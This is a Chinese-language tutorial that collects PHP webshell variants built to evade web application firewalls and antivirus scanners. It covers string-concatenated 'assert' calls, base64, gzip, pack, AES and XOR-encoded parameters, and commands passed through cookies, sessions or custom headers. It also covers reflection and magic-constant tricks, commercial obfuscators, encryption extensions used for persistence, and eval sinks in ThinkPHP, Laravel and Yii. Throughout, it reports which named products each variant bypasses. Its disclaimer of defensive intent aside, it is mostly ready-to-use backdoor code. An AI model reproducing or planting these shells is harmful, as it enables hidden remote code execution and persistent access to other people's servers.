php免杀合集(提高安全软件应变策略,严禁违法违规操作)
严正申明:请遵守法律法规,文章旨在提高安全软件的应变策略,严禁非法使用,后果自负。 webshell免杀字符串变形1.简单字符串拼接<?php $func = $_GET["func"]; $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c($func); ?> 免杀效果某狗4.0
某盾
可以看到这里非常简单的混淆就能绕过安全狗 某塔最新收费waf
可以看到这简单的混淆是无法绕过宝塔的
但是如果我们不使用敏感函数作为参数的话
还是可以发现其实只是过滤参数里的内容,其实依旧比较好绕过,下下面的字符串处理中,我们会使用到函数来进行流量加密和代码加密 2.利用字符串函数ucwords() //把每个单词的首字符转换为大写 ucfirst() //首字符转换为大写 trim() //移除字符串两侧的字符 substr_replace() //函数把字符串的一部分替换为另一个字符串 substr() //函数返回字符串的一部分 strtr() //函数转换字符串中特定的字符 strtoupper() //把所有字符转换为大写 strtolower() //把所有字符转换为小写 strtok() //函数把字符串分割为更小的字符串 str_rot13() //函数对字符串执行 ROT13 编码 chr() //从指定 ASCII 值返回字符 hex2bin() //把十六进制值转换为 ASCII 字符 bin2hex() //ASCII 字符的字符串转换为十六进制值 gzcompress()、gzdeflate()、gzencode() //字符串压缩 gzuncompress()、gzinflate()、gzdecode() //字符串解压 base64_encode() //base64编码 base64_decode() //nase64解码 pack() //数据装入一个二进制字符串 unpack() //从二进制字符串对数据进行解包
在这里我们使用base64加参数加密 <?php $func = base64_decode($_GET["func"]); #cGhwaW5mbygp $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c($func); ?>
可以看到绕过,成功了…可以看到对于收费的waf而言依旧比较好绕过,其实在webshell上的查杀大部分都是在于规则上的匹配,对于php而言如果想绕过的话基本上都是"功夫不负有心人",只要去花时间都是可以绕过的。如何在根本上去减少webshell带给服务器的危险,其实直接禁用一些关键函数,和不使用有危险的扩展是非常有效的方法。虽说现在我们已经绕过了常见的waf,但是在真正的渗透中,目标都使用的是更高级的云waf,不但规则更新的比较快而且,还会将被拦截webshell进行记录,存在被溯源,和绕过的新思路被发现的可能,因此学习更多的混淆技巧,是比较重要的。
接下来讲解一下不常用的函数 gzcompress系列<?php $a = gzcompress("abc"); echo "压缩后: ".$a; echo "
解压后: ".gzuncompress($a); ?>
可以看到这里解压后的内容变成了一堆乱码,在这里值得注意的是,如果我们利用方式依旧像base64一样是行不通,因为这一串乱码是无法提过字符串的形式准确的返回给服务端的
这里笔者提供两个思路:
1.base64编码
再次利用base64编码,如果没有经验的兄弟可能会认为这是多此一举,我直接用base64不就完了么,其实在真正的对抗当中,很多安全设备是可以识别base64编码的,可以自动解码判断解码后的内容。这一不其实就是为了,防止被解码后,内容被识别 <?php $func = gzuncompress(base64_decode($_GET["func"])); $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c($func); ?>
2.伪装成文件,以二进制方式传输
这种发送迷惑性比较大,很少有waf会去识别二进制流中的内容,顶多就是一些简单的正则表达式去匹配一些字符串,乱码根本就不全去识别
由于不能直接防止粘贴,因此需要在本地生成二进制文件 <?php $a = gzcompress("phpinfo();"); file_put_contents("123.txt",$a); ?>
在本地搭建一个上传页面只为获取数据包
源码如下 文件上传 <?php printf($_FILES);
可以看到这些后缀和mime这些都是文件上传的敏感点,只要我们不去触发的话,waf还是会对我们很信任的
可以看到这里执行了phpinfo,关键在于这串字符是非常难解析的,一般的waf是无法解析出来的 pack系列<?php $func=pack("H14","706870696e666f"); $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c($func);
如果有经验的同学可能会觉得这个和hex2bin非常相似,其实pack函数比hex2bin强大得多
语法: unpack(format,data) data。规定被解包的二进制数据。 format。规定在解包数据时所使用的格式。 可能的值: a - NUL 填充的字符串 A - SPACE 填充的字符串 h - 十六进制字符串,低位在前 H - 十六进制字符串,高位在前 c - signed char C - unsigned char s - signed short(总是16位, machine 字节顺序) S - unsigned short(总是16位, machine 字节顺序) n - unsigned short(总是16位, big endian 字节顺序) v - unsigned short(总是16位, little endian 字节顺序) i - signed integer(取决于 machine 的大小和字节顺序) I - unsigned integer(取决于 machine 的大小和字节顺序) l - signed long(总是32位, machine 字节顺序) L - unsigned long(总是32位, machine 字节顺序) N - unsigned long(总是32位, big endian 字节顺序) V - unsigned long(总是32位, little endian 字节顺序) f - float(取决于 machine 的大小和表示) d - double(取决于 machine 的大小和表示) x - NUL 字节 X - 备份一个字节 Z - NUL 填充的字符串 @ - NUL 填充绝对位置
此函数提供了多中格式,可以将文件或者流量变得更加复杂 3.加密函数与自写加密函数openssl加密函数:
openssl_encrypt方法详解: openssl_encrypt($data, $method, $key, $options = 0, $iv = "", &$tag = NULL, $aad = "", $tag_length = 16) 参数: 1.$data:加密明文 2.$method:加密方法: 可以通过openssl_get_cipher_methods()获取有哪些加密方式 3.$passwd:加密密钥[密码] 4.$options:数据格式选项(可选)【选项有:】:0,OPENSSL_RAW_DATA=1,OPENSSL_ZERO_PADDING=2,OPENSSL_NO_PADDING=3 5.$iv:密初始化向量(可选),需要注意:如果method为DES ECB,则iv无需填写 6.$tag:使用 AEAD 密码模式(GCM 或 CCM)时传引用的验证标签(可选) 7.$aad:附加的验证数据。(可选) 8.$tag_length:验证 tag 的长度。GCM 模式时,它的范围是 4 到 16(可选)
openssl_decrypt方法详解: openssl_decrypt($data, $method, $password, $options = 1, $iv = "", $tag = "", $aad = "") 参数: 1.$data:要解密的加密消息。 2.$method:解密方法:可以通过openssl_get_cipher_methods()获取有哪些解密方式 3.$passwd:解密密钥[密码] 4.$options:数据格式选项(可选)【选项有:】0,OPENSSL_RAW_DATA=1,OPENSSL_ZERO_PADDING=2,OPENSSL_NO_PADDING=3 5.$iv:密初始化向量(可选),需要注意:如果method为DES ECB,则iv无需填写 6.$tag:AEAD密码模式下的身份验证标签(可选) 7.$aad:附加的验证数据。(可选)
函数基本使用: <?php // 要加密的字符串 $data = "demo"; // 密钥 $key = "123456"; // 加密数据 "AES-128-ECB" 可以通过openssl_get_cipher_methods()获取 $encrypt = openssl_encrypt($data, "AES-128-ECB", $key, 0); echo "加密后: ".$encrypt; //密钥 $key = "123456"; // 解密数据 $decrypt = openssl_decrypt($encrypt, "AES-128-ECB", $key, 0); echo "
解密后: ".$decrypt;
实际利用: <?php $key = "password"; $fun = openssl_decrypt($_GET["func"], "AES-128-ECB", $key, 0); $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c($fun);
自己写加密算法
这种方式也比较简单,在很多ctf题目中都喜欢考与,或,取反,异或等进行绕过,其中可以直接用他们进行加密操作,当然如果学过密码学,一些简单的加密方式其实也行,凯莎密码,维吉尼亚密码,替换加密等都是可以尝试的,但是更复杂的算法还是建议,能使用现成的扩展就直接用,没必要花太多时间去研究这些算法。
下面就以异或加密为例: <?php <?php $key = "password"; //ERsDHgEUC1hI $fun = base64_decode($_GET["func"]); for($i=0;$i
使用burp抓包
将内容改成base64加密后的命令
可以看到已经执行成功了,可以看到这个迷惑去非常强,如果不仔细排查是不容易发现的,由于webshell的session和网站本身业务并没有关系,所以这个PHPSESSID可以随意修改 2.Session
session的传参方式其实算是一种间接传产方式,由于session的内容是需要通过源码设置的,并不能想cookie一样直接在请求头中修改,因此需要准备两个文件,一个是将输入的参数传入session,另一个就是将session中的内容取出并执行命令
这里依旧沿用上面的cookie传参
给session传入参数 <?php session_start(); $_SESSION["dmeo"]=base64_decode($_COOKIE["PHPSESSID"]); ?>
取出session内容并执行,其实下面的代码是可以直接插入到正常页面中的,增加迷惑性,因为一般正常页面返回的html代码是比较多的,如果我们将内容回显的正常页面当中是比较难发现的 <?php session_start(); $a = "a"; $s = "s"; $c=$a.$s."sert"; $c($_SESSION["dmeo"]); ?>
在test.php下通过cookie添加session,注意这个PHPSESSID的值其实就是一个session文件,每当有一个新的sessionid都会生成一个新的session文件,因此这个文件名我们是可以随意修改的,在这里的sessionid不但是文件名,而且也是我们的base64加密后的命令,这里只需要了解一下即可
访问命令执行的页面,并添加其cookie,即可跨页面传递参数,如果用这种方式传参是比较难发现的
总结:session传参其实就是一种参数转移的感觉 3.自定义头
自定义请求头其实也是作为一种伪装的请求方式,你可以选择完全自定义一个请求头进行参数传递,但是很多waf也会检测一些没出现过的请求头容易被识别出来,且一旦在日志中被找到一个以这种方式传参,很容易就能查找到使用数据包,还是不稳当,与cookie相比,cookie本身就是一堆随机数不好区分 <?php session_start(); $a = "a"; $s = "s"; $c=$a.$s."sert"; $c(getallheaders()["Demo"]); ?>
4.php伪协议<?php $q=$_GET[1]; file_get_contents("php".$q)($_GET[2]);
特征绕过
在这里为什么我会将特征绕过,而并没有像其他博客上写的那些,整一堆混淆的方法,原因就是因为,waf毕竟还是通过特征判断的,只有知道了,waf匹配的正则表达式大概是什么样的,webshell的免杀有真正的意义 数据特征绕过1.$_xxx[xxx] 绕过:
看这个特征可以发现很明显的是一个获取参数的语句,但为什么我会将起列举出来了,因为在很多情况下,现在的web应用大多都是使用的框架,基本上所有的获取请求参数内容的方法都是经过框架封装过的,最原始的获取参数内容的方式已经非常少见了,很容易通过一些命令如linux下的find命令通过正则表达式即可找到对应的webshell,很容易被发现,因此不使用该特征是很有必要的 1.1 {}
使用{}来替代[]是在ctf中十分常见的绕过方式 <?php echo $_GET{"demo"};
1.2 foreach语句
利用复合变量加foreach,获取参数中的内容,其特点并没有[],不容易被识别 <?php $a = "a"; $s = "s"; $c=$a.$s."sert"; foreach (array("_GET") as $r){ foreach ($r as $k =>$v){ $c($v); } }
自定义请求头
使用自定义的请求头同样是没有上面的特征 <?php $a = "a"; $s = "s"; $c=$a.$s."sert"; $c(getallheaders()["Demo"]); >
2.$xxx($xxx) 绕过:
这个特征大致就是某盾,某狗等的正则表达式匹配的内容,只要去消除此特征即可免杀 2.1 ""特性
该原理就是""中的变量不会被当做字符串使用,会被解析,经过测试该方法基本失效 <?php $a = "a"; $s = "s"; $c=$a.$s."sert"; $f = $_POST[1] $c("$f"); > 2.2 回调函数<?php function demo() { return $_GET["a"]; } demo()($_GET["b"]);
2.3 魔术常量
可以用到的4种魔术常量 __FILE__:返回当前文件的绝对路径(包含文件名)。 __FUNCTION__:返回当前函数(或方法)的名称。 __CLASS__:返回当前的类名(包括该类的作用区域或命名空间)。 __NAMESPACE__:返回当前文件的命名空间的名称。 __FILE__的利用,将webshell的名字改为base64编码后的内容 <?php base64_decode(basename(__FILE__,".php"))($_POST[1]);
__FUNCTION__的利用,将webshell的名字改为base64编码后的内容 <?php function assert2(){ substr(__FUNCTION__,0,6)($_GET[1]); } assert2();
__CLASS__的利用 <?php class assert2{ static function demo(){ substr(__CLASS__,0,6)($_GET[1]); } } assert2::demo();
__NAMESPACE__的利用 <?php namespace assert2; substr(__NAMESPACE__,0,6)($_GET[1]);
以上的4种基于魔术常量的免杀webshell都是可以绕过某盾的
当然在实战种还是要像上一篇文章一样,将传入的参数进行加密处理,如果再把传参方式改为cookie的那就很完美了 2.5 自定义常量<?php define("DEMO",$_GET[1]."ert"); substr(DEMO,0)($_GET[2]);
2.4 分离免杀
顾名思义,就是将一个马拆分成两部分,及使用file_get_contents()将内容读取出来,为什么不使用include等这些文件包含函数了?因为webshell的免杀在于动态函数的调用,最终还是要拼接在一起,绕过的原则其实就是绕过waf的正则表达式,如果直接include其实和写在一个文件里没啥区别 <?php file_get_contents("test.txt")($_GET[1]);
2.5 注释及空白符混淆
这种方式和sql注入差不多,原理就是php允许在括号中添加注释符和空白符并不会影响代码正常运行 <?php $func = $_GET["func"]; $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c(//);//( $func//);//); ) ?>
这里方式可以绕某狗,但过不了某盾 2.6 反射调用
反射类及反射类方法 <?php $class = new ReflectionClass("SiteWebsite"); // 以类名 Website 作为参数,即可创建 Website 类的反射类 $properties = $class->getProperties(); // 以数组的形式返回 Website 类的所有属性 $property = $class->getProperty("name"); // 获取 Website 类的 name 属性 $methods = $class->getMethods(); // 以数组的形式返回 Website 类的所有方法 $method = $class->getMethod("getName"); // 获取 Website 类的 getName 方法 $constants = $class->getConstants(); // 以数组的形式获取所有常量 $constant = $class->getConstant("TITLE"); // 获取 TITLE 常量 $namespace = $class->getNamespaceName(); // 获取类的命名空间 $comment_class = $class->getDocComment(); // 获取 Website 类的注释文档,即定义在类之前的注释 $comment_method = $class->getMethod("getUrl")->getDocComment(); // 获取 Website 类中 getUrl 方法的注释文档 ?>
通过属性名免杀 <?php class a{ public $assert2; } $class = new ReflectionClass(new a()); substr($class->getProperties()[0]->name,0,6)($_GET[1]);
通过注释免杀 <?php /** *phpinfo*/ class A { public static function B() { return $_POST[1]; } } $re = new ReflectionClass(new A()); $a = str_ireplace(" ","",str_ireplace(" ","",str_ireplace("/","",str_ireplace("*","",$re->getDocComment())))); substr($a,1)(A::B());
2.7 类调用
类方法调用 <?php class a{ function demo(){ $a = "a"; $s = "s"; $c=$a.$s."sert"; return $c; } } $s = new a(); $s->demo()($_GET[1]);
类的静态方法 <?php class a{ static function demo(){ $a = "a"; $s = "s"; $c=$a.$s."sert"; return $c; } } a::demo()($_GET[1]);
总结
webshell的免杀前提是要分析出waf大概的规则,如果盲目尝试是无法有更快的提示,正所谓大道至简,本文以最简单的代码解释了免杀的方法,原理以及waf背后的逻辑,对于更高级的waf,本文列举了很多种方法,在必要的时候是需要将多种方法合并使用的,以达到最好效果,最后有的绕过方式实在是太老了就没必要讲,如无特征马说是无特征,但这所谓的无特征就是它的最大特征,物联网是人类创造的,所有的东西都满足人类逻辑,不要死记硬背那些复杂的免杀马,只有清楚背后的逻辑才能真正的有所提升。 基于扩展免杀无扩展免杀1.php加密
这里是利用phpjiami网站进行加密,进而达到加密效果
https://www.phpjiami.com/
加密前: <?php session_start(); $a = "a"; $s = "s"; $c=$a.$s."sert"; $c($_GET["1"]); ?>
查杀效果
可以看到这里D某和某狗都查杀
里用php加密后效果
查杀效果
可以看到这里只有D某会显示加密脚本,而某狗直接绕过 2.dezend加密
http://dezend.qiling.org/encrypt.html
免杀效果
可以看到dezend加密的特征还是太过明显 3.z5encrypt
https://z5encrypt.com/encrypt/build
4.php-obfuscator
工具下载
https://github.com/naneau/php-obfuscator
在线工具
https://www.phpobfuscator.cn/
不太行 5.yakpro-po
工具下载
https://github.com/pk-fr/yakpro-po
在线工具
https://www.php-obfuscator.com/?demo
免杀效果
并不太行 6.phpjm
http://www.phpjm.net/encode.html
加密后效果
免杀效果
7.Virbox
工具下载
https://shell.virbox.com/apply.html
Virbox已经属于是商业源码加密,基本上没有任何特征
但是由于这个是需要将生成好的php-cqi.exe原有的php-cqi.exe才能达到解密的效果,因此只能说作为一个权限维持的方式,先拿到权限后,修改php-cqi.exe,在上这种加密马,作为一个权限维持
加密过程:
https://baijiahao.baidu.com/s?id=1671004157804653895&wfr=spider&for=pc 7.总结
以上总结了webshell加密的工具,其实在非扩展的加密工具中,其原理很多就是混淆变量名和函数名,类名,命名空间等等,可以配合多个加密工具进行多种加密,当然也可以和之前文章的免杀进行结合 扩展免杀
由于很多企业为了防止源码泄露,都会使用加密扩展将代码进行加密,那么我们就可以就将计就计,将webshell也利用扩展加密,将特征消除,从而达到免杀的效果 1.php-beast
扩展地址
https://github.com/liexusong/php-beast
https://github.com/imaben/php-beast-binaries
下载dll,并添加至ext中
在php.ini 中添加该扩展
修改configure.ini ; source path src_path = "C:/Users/12107/Desktop/demo/" ; destination path dst_path = "C:/Users/12107/Desktop/demo2/" ; expire time expire = "2021-09-08 17:01:20" ; encrypt type encrypt_type = "AES"
当然也可以不使用默认密钥
在aes_algo_handler.c中可以修改默认密钥
当然如果没有密钥其实是无法生成一个能被解析的php文件,因此还需要通过逆向获取dll中的密钥
破解参考:
http://www.phpheidong.com/blog/article/337644/71c2cabcc769f99d7808/ 2.screw_plus
环境搭建
https://blog.oioweb.cn/64.html
https://newsn.net/say/php-screw-plus.html
破解参考:
https://www.cnblogs.com/StudyCat/p/11268399.html 3.总结
基于扩展的免杀,如果知道密钥,经加密后的webshell是不具备任何特征的,基本上直接通杀。
具体步骤通过phpinfo获取扩展信息,根据不同的加密扩展进行尝试利用默认密钥进行加密,通过访问webshell来判断密钥是否正确,当然,这种方法其实只能用于权限维持需要拿到权限后获取扩展文件破解后,才能稳定获取密钥,进而加密webshell 基于框架免杀thinkphparray_map_recursive函数<?php define("WWW_PATH",str_replace("","/",realpath(dirname(__FILE__)."/../"))); include(WWW_PATH."ThinkPHP/Common/functions.php"); array_map_recursive(I("get.func","",""),I("get.cmd","",""));
array_map_recursive函数分析
这里存在一个call_user_func命令执行函数 function array_map_recursive($filter, $data) { $result = array(); foreach ($data as $key => $val) { $result[$key] = is_array($val) ? array_map_recursive($filter, $val) : call_user_func($filter, $val); } return $result; }
免杀效果
B函数<?php define("WWW_PATH",str_replace("","/",realpath(dirname(__FILE__)."/../"))); include(WWW_PATH."ThinkPHP/Common/functions.php"); include(WWW_PATH."ThinkPHP/Library/Think/Hook.class.php"); class demo{ function test($v){ I("get.func","","")($v); } } B("demo","test",I("get.cmd","",""));
免杀效果
B函数分析 function B($name, $tag="",&$params=NULL) { if(""==$tag){ $name .= "Behavior"; } return ThinkHook::exec($name,$tag,$params); }
exec函数分析
在exec函数用存在有个类调用,且所有的参数都可控 static public function exec($name, $tag,&$params=NULL) { if("Behavior" == substr($name,-8) ){ // 行为扩展必须用run入口方法 $tag = "run"; } $addon = new $name(); return $addon->$tag($params); } smarty_php_tag函数<?php define("WWW_PATH",str_replace("","/",realpath(dirname(__FILE__)."/../"))); include(WWW_PATH."ThinkPHP/Library/Vendor/Smarty/SmartyBC.class.php"); smarty_php_tag("",I("get.cmd","",""),"");
免杀效果
smarty_php_tag函数分析
直接存在命令执行,且参数可控 function smarty_php_tag($params, $content, $template, &$repeat) { eval($content); return ""; } I函数<?php define("WWW_PATH",str_replace("","/",realpath(dirname(__FILE__)."/../"))); include(WWW_PATH."ThinkPHP/Common/functions.php"); I("get.func","","")(I("get.cmd","",""));
免杀效果
LaravelEvalLoader#load<?php define("WWW_PATH",str_replace("","/",realpath(dirname(__FILE__)."/../"))); include(WWW_PATH."/vendor/autoload.php"); $c = new MockeryGeneratorMockConfiguration(array(),array(),array(),"demo"); $b = new MockeryGeneratorMockDefinition($c,"<?=".$_GET["cmd"]); $a = new MockeryLoaderEvalLoader(); $a->load($b);
免杀效果
EvalLoader#load分析
eval命令执行函数,参数可控 class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } } MockTrait#generate<?php define("WWW_PATH",str_replace("","/",realpath(dirname(__FILE__)."/../"))); include(WWW_PATH."/vendor/autoload.php"); $a = new PHPUnitFrameworkMockObjectMockTrait($_GET["cmd"],"demo"); $a->generate();
免杀效果
MockTrait#generate函数分析
存在一个eval函数 public function generate(): string { if (!class_exists($this->mockName, false)) { eval($this->classCode); } return $this->mockName; } yiiMockTrait#generate<?php define("WWW_PATH",str_replace("","/",realpath(dirname(__FILE__)."/../"))); include(WWW_PATH."/vendor/autoload.php"); $a = new PHPUnitFrameworkMockObjectMockTrait($_GET["cmd"],"demo"); $a->generate();
免杀效果
view#evaluateDynamicContent<?php define("WWW_PATH",str_replace("","/",realpath(dirname(__FILE__)."/../"))); include(WWW_PATH."/vendor/autoload.php"); $a = new yiibaseView(); $a->evaluateDynamicContent($_GET["cmd"]);
免杀效果
view#evaluateDynamicContent分析 public function evaluateDynamicContent($statements) { return eval($statements); } 总结
通过文件包含框架文件,用框架内置的函数来替换一句话木马中的功能函数,达到绕过特征匹配,如果后期规则增强,可以通过搜索新的函数来间接调用函数,像反序列化利用链一样,当然,还有很多其他函数可以使用在这里就不多列举。
refer https://tttang.com/archive/1740/